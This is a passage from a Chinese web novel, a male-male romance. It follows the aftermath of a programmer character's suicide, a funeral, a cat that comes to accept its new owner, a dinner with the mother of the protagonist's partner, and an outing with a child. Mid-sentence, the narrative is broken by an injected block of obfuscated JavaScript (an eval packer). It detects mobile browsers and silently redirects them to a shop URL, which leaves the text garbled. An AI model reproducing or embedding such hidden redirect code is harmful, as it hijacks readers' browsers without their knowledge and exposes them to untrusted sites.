“是个惯犯,以前就在这片偷过,后来收手了。最近赌钱输了,又动歪心思,想过来捞一笔。”警察说,“结果一进屋,撞见人倒在血泊里——当场吓破了胆,腿软得跑都跑不动。后来是他弄出的动静把邻居引过来,邻居报的警。” “目前人已经被控制住了,后续会按相关法律处理。” 陈温和沈泽许对视一眼,不知道该说什么。 那张遗书还在沈泽许手里,轻飘飘的,又沉得让人攥不紧。 天亮的时候,两个人从警局出来。 街上已经有早点摊出摊了,热气腾腾的,包子刚出笼,白汽往上冒。有人骑着电动车从旁边过去,后座坐着个小孩,背着书包,应该是去上学。 陈温站在路边,忽然觉得这一切都有点不真实。沈泽许握住他的手,说:“走吧。” 一大早,网上多了一条新闻。 【突发:知名程序员陆晚枝在家自杀身亡,年仅29岁】 报道写得很官方。 【某小区居民发现异常后报警,120赶到时已无生命体征。经初步调查,排除他杀可能。】 冷冰冰的几行字,就概括了一个人的离开。 但她的软件还在正常运行。 新版本昨天刚上线,用户们还在讨论新功能有多方便——“这个更新太实用了”“终于不用来回切换了”“开发者是神仙吗”。 软件是完全免费的。从一开始就是。她没想过靠这个赚钱,就是觉得“做个好用的东西,大家能用得上”挺有意思。 后来用户越来越多,功能越加越多,服务器成本也上去了,她还是坚持免费。 有投资人找过她,想做商业化。她拒绝了。 “挺好的东西,加广告就不好看了。”她当时这么说。 现在那个“挺好的东西”还在跑着,每天服务着几十万人。而写它的人,已经不在了。 评论区很快吵成一片。 有人猜是压力太大,程序员的圈子谁不知道,做到她那个位置,996都是轻的。有人阴谋论,说会不会是得罪了什么人,被胁迫了。还有人翻出她以前的采访,想从只言片语里找点线索。 但没人能想到真正的原因。 ——不过是一句傻话而已。 那天阳光很好,江夏靠在窗边,看她对着屏幕改bug改得抓耳挠腮,忽然笑了:“等我们晚枝成名了,成了最牛的程序员,我可就发达了。” 她头也没抬:“神经。” “真的,到时候我就天天躺你家沙发上,让你养我。” 她懒得理江夏,继续敲代码。 后来江夏走了,走得很突然。 陆晚枝开始拼起命来。 拼命写代码,拼命做项目,拼命往那个“最优秀”的位置爬。一年两年三年,她熬过无数个通宵,推掉所有社交,把自己活成一个只会写代码的人。 她终于爬上去了。 业界公认的大牛,开源社区的传奇,猎头开出的年薪后面跟着数不清的零。她做到了。 然后呢? 她站在山顶往下看,发现没什么好看的了。江夏想看的东西,她帮人看到了。 目标没有了。她想,既然活着没什么事了,那就去陪她吧。 就这么简单。 那句话本来就是随口说的,想鼓励她,或者只是开个玩笑。江夏大概自己都忘了。 但她记得,记得太清楚了。 葬礼办得很小。 陆晚枝本来就没几个朋友。来的大多是同事——同一个项目组的,隔壁工位的,开源社区偶尔联机的。 十几个人站在告别厅里,显得有些冷清。 仪式很简单。主持人念了悼词,大家轮流上前鞠躬,献花。白色的菊花摆了一圈,中间是她的照片。不知道谁挑的,是她难得笑着的一张。 出来的时候,几个同事站在门口抽烟。 “太年轻了。”有人说。 “谁说不是呢,我刚进公司的时候还是她带的,那时候就觉得这人怎么这么拼……” “房子车子都有了,刚换的新电脑还没拆封呢。” “啥也没享受到。” 烟雾飘散在灰蒙蒙的空气里,没人再说话。 陈温站在不远处,沈泽许陪着他。他心里堵得慌,但脸上没露出来。 后来,陈温去给陆晚枝扫墓。 墓碑很简单,照片上的她笑得淡淡的。 放下一束花,他站了一会儿,准备离开时,忽然注意到旁边的墓碑。 名字有点眼熟。 是江夏的…… 两座墓挨得很近,不知道是巧合,还是当时选位置的人有意为之。听陆晚枝的朋友说,她每年有一个日子,总会消失一整天。 风从远处吹过来,墓碑前的花轻轻动了动。 回到家,大少蹲在客厅中间,看见他们进来,不吭声也不躲。 陈温在它面前蹲下来。 一人一猫对视着。 他忽然想起这几天大少的反常——整天整天地嚎,不吃东西,对他充满敌意。当时只觉得烦,现在想想,它是不是预感到了什么? 它是不是知道陆晚枝要走了? 又或者,它以为自己是替陆晚枝养它的,所以把他当成坏人——一个抢走它主人的人? 谁也不知道。谁会知道一只猫在想什么呢。 大少盯着他看了一会儿,移开视线,趴下去,把头埋在前爪里。 陈温也没动,就那么蹲着。 厨房里传来沈泽许翻找东西的声音。一整天没怎么吃东西,他想煮点什么填填两人的肚子。 陈温伸出手,悬在大少面前。 “咱们商量个事儿,”他轻声说,“以后就住这儿了,成不?” 大少没动,也没哈气。 过了一小会儿,大少慢慢抬起头,端端正正坐起来,盯着陈温看了两秒。 伸出爪子,不轻不重搭在他手心上。 肉垫是软的,带着一点温热。 陈温愣了一下。他低头看着那只放在自己掌心里的猫爪,忽然觉得眼眶有点酸。 “……说好了?”他问。 大少没吭声,也没把爪子收回去。 厨房里,沈泽许正拿着锅铲往外看到这一幕。 过了很久,陈温握住那只爪子,晃了晃。 “行,那就这么定了。” 沈泽许煮了两碗西红柿鸡蛋面。 陈温本来没什么胃口,但面条端到面前,热气腾腾地往上飘,西红柿的酸甜混着鸡蛋的香味直往鼻子里钻。他拿起筷子尝了一口,然后埋头就吃了起来。 吃得津津有味。 沈泽许坐在对面,看他吃成这样,嘴角微翘起来:“好吃吗?” 陈温嘴里塞着面条,含糊地“嗯”了一声。 没想到这人长得帅,平时看着像个大忙人,煮的面居然这么有锅气。就是那种家里开火才能煮出来的味道,不是外卖能比的。 正吃着,手机亮了一下。 陈温拿起来看,是 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黄曦站在旁边,盯着他看。从头到脚,从表情到动作,看得很仔细。她发现,他身上那种颓废感不见了。 这让她想起从前。 那年听说陈温从惠城回来了,她作为高中最好的朋友,第一时间跑去看他。但一见到人,她愣住了。 眼前这个人,哪还是当年那个小太阳。整个人像被抽空了一样,眼睛是死的,表情是空的,心如死灰四个字,她第一次在真人身上看到。 黄曦问他怎么了,陈温不答话,只是抱着她,一直不撒手。 后来听慕阿姨讲了事情的来龙去脉,她心里更不是滋味。 总觉得是自己以前跟他讲那些小说,让他陷进去的。 那段时间,她一有空就去看他,跟他说高中那些他不知道的事,谁和谁在一起了,谁又干了什么傻事。 就想让他知道,还有人在,还有日子在过。 可他那个样子,她真的害怕。 有一次,陈温忽然开口,说:“我想死。” 他说得很平静,像在说今天天气不错。说他好累,不知道活着做什么了。 黄曦没接话,后来偷偷跟慕雪说了,让她多注意点。 再后来……就没有后来了。他没死成。 现在他站在她面前,抱着她的孩子,做着鬼脸,把孩子逗得咯咯笑。 黄曦忽然有点想哭。她眨眨眼,把那股酸意压下去,笑着说:“行了行了,别把孩子逗得太兴奋,一会儿睡不着了。” 陈温吃完宴席,搭车回去了。 刚到没多久,手机就响了。林宇舟在群里发消息,说好久没聚,今晚去他那儿吃火锅。陈温欣然答应。沈泽许刚好忙完,也说过来。 晚上,林宇舟家里热气腾腾,锅底咕嘟咕嘟冒着泡。 陈温看着大家忙活,也想露一手,自告奋勇去弄点小菜。结果不知道哪一步出了问题,端上来的东西又黑又绿,卖相惨不忍睹。 林宇舟好奇心重,率先作死尝了一口。下一秒,他脸都绿了,差点吐白沫。 其他人不信邪,也各夹了一筷子,然后齐刷刷露出痛苦面具,恨不得当场毒发身亡。 陈温站在一旁,尬笑着不知道怎么办,只能挨个递水。 “你这……这是下毒吧?”叶萧云灌了半杯水,喘着气说。 “我、我也不知道……” 正闹着,门开了。沈泽许进来,脱下外套往旁边一挂,看他们这副鬼样子,挑起眉:“怎么了?” 几人交换了个眼神。李欣桐眼疾手快,把那碟黑暗料理推到沈泽许面前。 “尝尝,陈温亲手做的。” 沈泽许低头看了一眼那盘东西,面不改色,拿起筷子就准备夹。 陈温赶紧拦住:“别吃,不好吃。” 沈泽许没听,夹了一筷子送进嘴里。所有人都盯着他看。他慢慢嚼了嚼,咽下去,表情若有所思。 “就是烤焦了点,盐稍微多放了点,”他点点头,还挺认真,“其实没那么难吃。你们再尝尝,回味还行。” 几个人将信将疑,又各自夹了一筷子。 新一轮的痛苦面具开始了。 “沈泽许你骗人!” “这跟刚才有区别吗?!” “我信了你的邪——” 沈泽许端起水杯,慢悠悠喝了一口,嘴角微微翘起来。 陈温有点不高兴。一顿饭下来,其他人笑他也就算了,沈泽许居然也跟着笑。 什么意思嘛。 他气鼓鼓地埋头吃饭,谁都不理。 吃完散场,沈泽许提出送他回去。陈温没拒绝,但一路上也不说话,脸扭向窗外,摆明了还在生气。 到了家,陈温进门就准备往屋里走,沈泽许跟着进来,把门带上。 “怎么了啊?”他在身后问道。 陈温没理他。 沈泽许走到人身前,低头看他:“小宝?” “别叫我这个!”陈温瞪他一眼。 沈泽许愣了一下,然后笑了:“合着他们开玩笑,我受罪呗。”他往前凑了凑,语气放软:“我最后不是把那碟都吃完了吗?” 90. 我的 陈温张了张嘴,忽然不知道说什么了。 好像……是吃完了。 一整盘,他一个人吃干净的。 “行了,”沈泽许伸手揉他的头发,“别气了。” 沈泽许往前一步,低头吻住他。 手顺势揽住腰,往自己怀里带了带。陈温被那个吻弄得有些腿软,刚才还僵着的身体不知不觉软下来,像春水化开似的,整个人往他身上靠。 沈泽许松开口,额头抵着他的额头,呼吸交错。 “做吗?” 陈温垂下眼,耳根发烫,不好意思地点头。 下一秒,沈泽许弯腰把他打横抱起来,往卧室走。陈温搂着他的脖子,脸埋在他肩窝里。 被抱到床上时,他开始晕晕乎乎的。 沈泽许抬手解他衣扣,陈温下意识想躲,声音含糊:“关灯……” 沈泽许没应。片刻后,陈温眼前一黑——不是灯灭了,是一条领带覆了上来,在他脑后系了个松垮的结。 视觉被收走,衣料窸窣声响起。然后沈泽许的动作顿了一下。 陈温不知道他在看什么。只觉得那阵沉默长得像把刀,悬在那儿,迟迟不落。 过了很久,有指尖落在他锁骨下方,轻轻碰了碰。 “还戴着。” 陈温愣了一下,才明白他说的是什么。 吉他拨片。很多年前送的。边缘有一小块凹凸不平,是牙咬过的痕迹,什么时候咬的,他自己都记不清了。 可能是等人时咬的。可能是想事时咬的。可能是某个睡不着又不知道该想谁的夜里,咬着咬着就睡过去了…… 他没解释,也没法解释。眼睛被蒙着,什么都看不见,只能感觉到那枚拨片被沈泽许的指腹轻轻摩挲。 一下。 又一下。 然后那手指移开了。移到了别处。 沈泽许开始索要。 一处,一处,又一处。不紧不慢,像在核对什么账目。每一处停留的时间都足够长,长到陈温想躲,又躲不开。 他攥紧身下的床单,齿关咬住下唇。 卧室门关得严严实实。大少蹲在门外,一脸困惑。 它竖起耳朵仔细听。里面传出的声音怪怪的,像是有人在砍树,哐当哐当的。不对,又像打架。也不对,它听不懂。 它只知道一件事:它饿了。 晚饭时间早就过了,那个平时给它开罐头的人呢?怎么不见了? 大少站起来,用爪子扒拉了一下门。没反应。它又扒拉了一下。还是没反应。 于是它扯开嗓子开始叫。 一声接一声,抑扬顿挫,穿透力极强,配合着里面“砍树”的声音,此起彼伏。 叫了半天,门终于开了一条缝。 沈泽许探出半个脑袋,头发有点乱,表情说不上好看:“……别叫了。” 大少仰着头看他,理直气壮地又叫了一声。 沈泽许深吸一口气,回头看了一眼,然后认命地走出来,去给这位爷开罐头。 等他回到床边,看见陈温侧躺着,呼吸还没完全平复,眼角却有一道湿痕。 他愣了一下,伸手抹掉那滴泪:“弄疼了?” 陈温摇了摇头,把脸往枕头里埋了埋。 不是疼。 第一次的时候比这疼多了,他都没哭。 刚才那一下……是太爽了。 爽得他有点懵,反应过来的时候,眼泪自己就掉下来了。 沈泽许看了他一会儿,像是明白了什么,没再问,只是躺下来,把人往怀里捞了捞。 陈温窝在他胸口,闷声说:“……不许说出去。” “说什么?” “就……这个。” 沈泽许笑了一声,下巴抵在他头顶:“不说。” 第二天,沈泽许可以居家办公,但陈温得上班。 昨晚有多风光,今天疼得就有多厉害。他走路姿势都变了,迈一步吸一口气,跟踩在针尖上似的。 沈泽许靠在床头看他一瘸一拐地挪,忍不住说:“请假吧。” 陈温没理他,继续往卫生间挪。 洗漱的时候,沈泽许不知什么时候晃悠到他身后,站在那儿拨弄他的头发。陈温正弯腰漱口,感觉他在后脑勺那儿捣鼓什么,以为是帮他把沾上的脏东西弄掉,也没在意。 “行了。”他漱完口,直起身,把沈泽许的手拨开,该干嘛干嘛。 到了医院,他直奔咨询室。幸好有软凳,不然这一天老遭罪了。 路过顾言锐办公室的时候,那人刚好抬头,两人对上视线。下一秒,顾言锐像头看见红布的牛,“哞”的一声就冲过来了。 “陈老师——”她绕着陈温转了一圈,脸上憋着笑,“今天跟平常不太一样啊。” 陈温心里咯噔一下,想着昨天没有弄太多“草莓”啊,面上不动声色:“哪里不一样?” “比平常……更精致了。”顾言锐忍着笑,视线往他后脑勺瞟。 陈温伸手往后一摸,摸到一撮被绑起来的头发,还有一根细细的橡皮筋。 “什么?” 顾言锐已经笑疯了,不知道从哪儿掏出一面小镜子,往他脸前一怼。 镜子里,他那一头“长发”下面,不知道什么时候被扎了一个小小的马尾。 小小的,细细的,粉色的橡皮筋。 就像荒野里突然长出一棵孤零零的小树苗。 陈温愣了一下,突然想起来。 早上在卫生间,沈泽许站在他身后捣鼓的那几下。不是在帮他弄脏东西,是在给他扎辫子! 他深吸一口气。 顾言锐在旁边笑得快抽过去:“陈老师,这审美可以的,粉色很衬你——” 陈温皮笑肉不笑,掏出手机,对着镜子拍了一张后脑勺,发给沈泽许。 配文:? 三秒后,沈泽许回了一个笑脸。 陈温闭了闭眼,把手机收起来,面无表情地往咨询室走。每一步都比刚才更疼了。 下班时间,刚走出医院大门,就看见沈泽许站在路边。 不知道他从哪儿打听的下班时间,人靠在一辆黑车旁边,手里捧着一束花。不是那种大张旗鼓的玫瑰,是几枝淡色的桔梗,配着绿叶,简简单单扎着。 陈温脚步顿了一下,嘴角不自觉往上翘。 正要走过去,余光瞥见旁边站着个人。 周明澈。 那个追了他一阵子的内科,之前来过几次他科室,送过花送过咖啡,都被他拒绝了。 没想到今天又来了,站在不远处,手里好像也拿着东西。 周明澈看见陈温出来,眼睛一亮,正要迎上去。然后他就看见陈温径直走向了另一个人。 没有犹豫,没有停顿。 走到那人面前,低头看了一眼花,没接过来,但是上了那人的车。 周明澈愣在原地。 车门关上之前,那个捧着花来接人的男人忽然回过头,朝他看了一眼。嘴角微微挑起,眉峰轻轻一扬。 没说话,但那表情明摆着是——“我的。” 车窗升上去,车子启动,扬长而去。周明澈站在原地,半天没动。 开出一段,沈泽许开口道:“带你去个地方。” “哪儿?” “我妈那儿,吃饭。” 陈温愣了一下,然后整个人都不好了。 “你怎么不早说?!”他猛地坐直,低头看自己这一身。上班穿的衣服,普普通通的衬衫长裤,头发还被扎过又拆了,现在乱糟糟地披着,“我这样怎么去见她?我得回去换一身——” 沈泽许伸手按住他肩膀,把人摁回座椅里。 “不用换。” “怎么不用?好久没有见面了,我总不能——” “你这样挺好看的。” 陈温的话卡在嗓子里。 沈泽许目视前方开着车,语气平平淡淡的。陈温盯着他侧脸看了两秒,耳朵尖慢慢红了。 “……你懂什么。”他小声嘟囔,坐回去,没再提要换衣服的事。 但他还是紧张。 六年没见了,白千月现在是什么样子,还记不记得他,会不会觉得他变了。脑子里乱七八糟转个不停。 路过精品店,他拽着沈泽许进去,买了一袋护肤品。也不知道白千月用不用这些,但总比空手强。 “她会不会不喜欢这个牌子?” 沈泽许看着他,有点无奈:“你送什么她都会高兴的。” 陈温将信将疑,抱着那袋东西上了车。 到了家门口,门刚敲响,白千月就拉开了门。 她站在那儿,岁月在她脸上几乎没留下什么痕迹。不是那种硬撑的年轻,而是一种从容的、经久不衰的好看。 身上穿着便携的裙子,前面系着一条素色围裙,像是刚从厨房出来。 看见两人,她的视线先落在陈温脸上。然后伸出手,对着他的脸又摸又瞧,仔仔细细看了个遍。 “欢迎回来。”她笑着说。 陈温也笑了,把手里那袋护肤品递过去:“阿姨,给您带的。” 白千月低头看了一眼,没管那袋子,直接塞给旁边的沈泽许,然后一把拉住陈温的胳膊把人往屋里带。 “来来来,快进来。” 客厅茶几上已经摆好了水果拼盘,切得整整齐齐。白千月把他按在沙发上,又去倒茶,递到他手里,一整套动作行云流水。 “快煮完了,还有最后一道菜,”她拍了拍陈温的手,“小温,先垫垫肚子,很快就好了。” 说完又转身进了厨房。 正如白千月所说,很快就开饭了。 桌上摆得满满当当,全是家常菜——红烧肉、清炒时蔬、糖醋排骨、西红柿炒蛋,还有一碗热气腾腾的鸡汤。 白千月拿起筷子,第一筷子就夹了块排骨放进陈温碗里。 “来,尝尝这个,我炖了好久。” 陈温连忙点头:“谢谢阿姨。” 第二筷子,又是一块红烧肉,肥瘦相间,油亮亮的。 “多吃点肉,你看你瘦的。” 第三筷子,一勺鸡蛋。 “这个也尝尝,我炒得嫩。” 沈泽许坐在旁边,端着自己的碗,看着碗里空空如也。 他清了清嗓子。 白千月头都没回,又夹了一筷子青菜给陈温:“小温,你最近工作怎么样?累不累?” “还好,不太累。” “那就好,要是太累了就歇歇,身体要紧。” 沈泽许又清了清嗓子。 白千月终于扭过头,看了他一眼:“嗓子不舒服就去喝水。” 然后继续给陈温夹菜。 沈泽许:“……” 陈温低头扒饭,嘴角压都压不下去。 正欢闹着吃着饭,门外忽然响起敲门声。 “小白,开门,是我。” 那声音一出来,饭桌上的气氛就变了。 是沈明远。 陈温愣了一下。他从来没听过沈明远这么说话,语气里居然带着点……讨好的意思? 白千月像没听见一样,继续给陈温夹菜:“小温,再喝碗汤。” 门外又敲了几下。 “小白,你听我说……” 白千月还是不理,和陈温聊着家常,问他想吃什么水果,待会儿再切点。 敲门声越来越密,说的话也越来越软。 终于,隔壁的门“哐”一声开了。一个中气十足的女声炸雷似的响起来:“吵死个人!之前怎么对人家的你不知道吗?现在人家不要你了,你还不懂?赶紧走!再敲我报警了!” 外面一下子安静了。过了几秒,脚步声响起,渐渐远了。 白千月端起汤碗,吹了吹,像什么都没发生一样。 “小温,汤再不喝就凉了。” 用完晚膳,白千月放下筷子,朝陈温招招手:“小温,跟我来一下。” 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187231|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温愣了一下,跟她往卧室走。 沈泽许洗着碗,看见两人的背影消失在门后,气笑了。洗完,他认命似地拿起水果刀,开始削苹果。 卧室里,白千月打开柜子,开始往外搬东西。 一个,两个,三个……很快堆了满满一床。 “这个是那年看见的,觉得适合你就买了。这个是后来去外地带的,想着你万一回来能用上。这个是……” 她一样一样拿起来,跟陈温说这东西是什么时候买的,为什么买,想着他什么时候能用上。 衣服、围巾、手表、书、一个小摆件……全是新的,标签都没拆。 陈温忽然想起来,他今天送的那套护肤品,也就小一千。这床上堆的,少说也上万了。 “阿姨,这太多了……” 白千月摆摆手,把最后一样东西塞进他怀里。 “不多。”她说,“就当你消失这些年,我替你攒着的。” 陈温不知道该说什么。白千月拉着他在床边坐下,看着他,语气忽然认真起来。 “小温,我有些话想跟你说。” 陈温抱着那堆东西,点点头。 “沈泽许那小子,脾气倔,有时候做事不过脑子。他要是有什么做得不好的地方,你替我教训他——别客气,该骂骂,该打打。” 陈温愣了一下。 白千月继续说:“还有,他要是欺负你,你来找我。我来教训他。” 她顿了顿,看着陈温的眼睛,声音轻下来:“你就放心跟他在一起。有我在,他不敢怎么样。” 陈温抿起唇,喉咙忽地有点紧。白千月伸手又拍了拍他的手背,像很多年前那样。 “你们俩好好的,我就高兴了。” 外面,沈泽许削好的苹果放在盘子里,切成一块一块的,扎着牙签。他靠在沙发上,看着卧室那扇紧闭的门,不知道里面在说什么。 过了好一会儿,门开了。陈温走出来,眼睛有点红。 又过了几天,李欣桐终于有了空。但这份“空”很快就被填满了——被父母塞过来的李见初填得满满当当。 李见初像个人形版十万个为什么,每道题都要问一遍“为什么这样做”“为什么不是那样”“为什么这个答案对那个不对”。 问题一个接一个,密得像机关枪扫射,李欣桐被吵得脑仁嗡嗡响。 “姐,为什么这个字要这么写啊?” 李欣桐深吸一口气,放下笔:“见初,姐跟你说个事。” “什么事呀?” “要不我把你送到你那个姐夫那儿?”她尽量让语气听起来充满诱惑,“他可是理科状元之一,比我厉害多了。” 李见初眼睛一亮:“不要!我要去陈老师那儿!” 李欣桐:“……” 行吧。 她认命地掏出手机,给陈温发消息。 半小时后,她牵着李见初站在陈温家门口。 门开了,陈温刚探出头,李欣桐眼疾手快,把李见初往里一推。 “人交给你了!” 然后转身就跑,步子快得像身后有鬼在追。 李见初站在门口,眨巴眨巴眼,回头看看跑远的姐姐,又看看陈温,忽然咧嘴笑了。 “陈老师!” 一进门,李见初的小脸就垮下来了。 “你怎么在这里?”她叉着腰,“私闯民宅可不好!” 沈泽许双手抱胸,靠在沙发上,居高临下地看着这个还没他腿高的小家伙。 “是你陈老师让我来的。” 李见初眨眨眼,想不明白。 沈哥哥没有她可爱,也没有她勇猛,陈老师怎么老是跟他在一起?一定是沈哥哥胁迫陈老师的! 她决定不纠结这个问题,拉着陈温的手往书桌边走:“陈老师,你教我写作业!” 陈温被她拽过去,坐下,拿起作业本。 过程很艰辛。 李见初很努力地让自己看起来一点就通——瞪大眼睛,使劲点头,嘴里“嗯嗯嗯”地应着。 但她显然不是一点就通的那种。陈温讲了三遍,她还在问“为什么”。 陈温挠头。不是他不会,是他讲的李见初听不懂。现在幼儿园的题目怎么这么难? 他扭头看向沙发上那位:“你来。” 李见初立刻抗议:“不要他——” 沈泽许已经走过来了,在旁边坐下,拿起笔,看了一眼题,开口讲道。 三分钟后,李见初“哦”了一声,低头把答案写上。 陈温:“……” 写完作业,李见初把笔一放,立刻缠上陈温:“陈老师,我要奖励!” 陈温低头看她:“想要什么奖励?” “我想去游乐园!”小家伙眼睛亮晶晶的,“本来今天要去的,爸爸妈妈没空……” 陈温看了一眼窗外——大太阳明晃晃的,晒得地面反光,知了在树上扯着嗓子喊,光是看着就觉得热。 这种天气,最适合在空调房里睡大觉。但他还是点点头:“好,去。” 李见初立刻欢呼起来。 出门的时候,太阳果然毒。热气腾腾往上蒸,知了叫得人心烦。 但李见初一点都不在乎,一手拉着陈温,一手拉着沈泽许,开心得像只小鸟。 走到路口,两人对视一眼,同时使劲,把她提了起来。李见初双脚离地,在空中晃悠,笑得咯咯的。 “陈老师,我没有去过游乐园,”她仰着头问,“那里好玩吗?” 陈温想了想:“陈老师也没去过,不知道。” 沈泽许侧过头看他:“你以前不是说过你去过吗?” 陈温愣了一下,盯着沈泽许看了几秒。 “有这回事吗?” 阳光从树叶缝隙里漏下来,细细碎碎地落在他眼睛里。他微微眯着眼,像是在认真回想,又像是在看别的什么。 他拥有一整个温和四季,就在那双眼睛里。 ——正文完——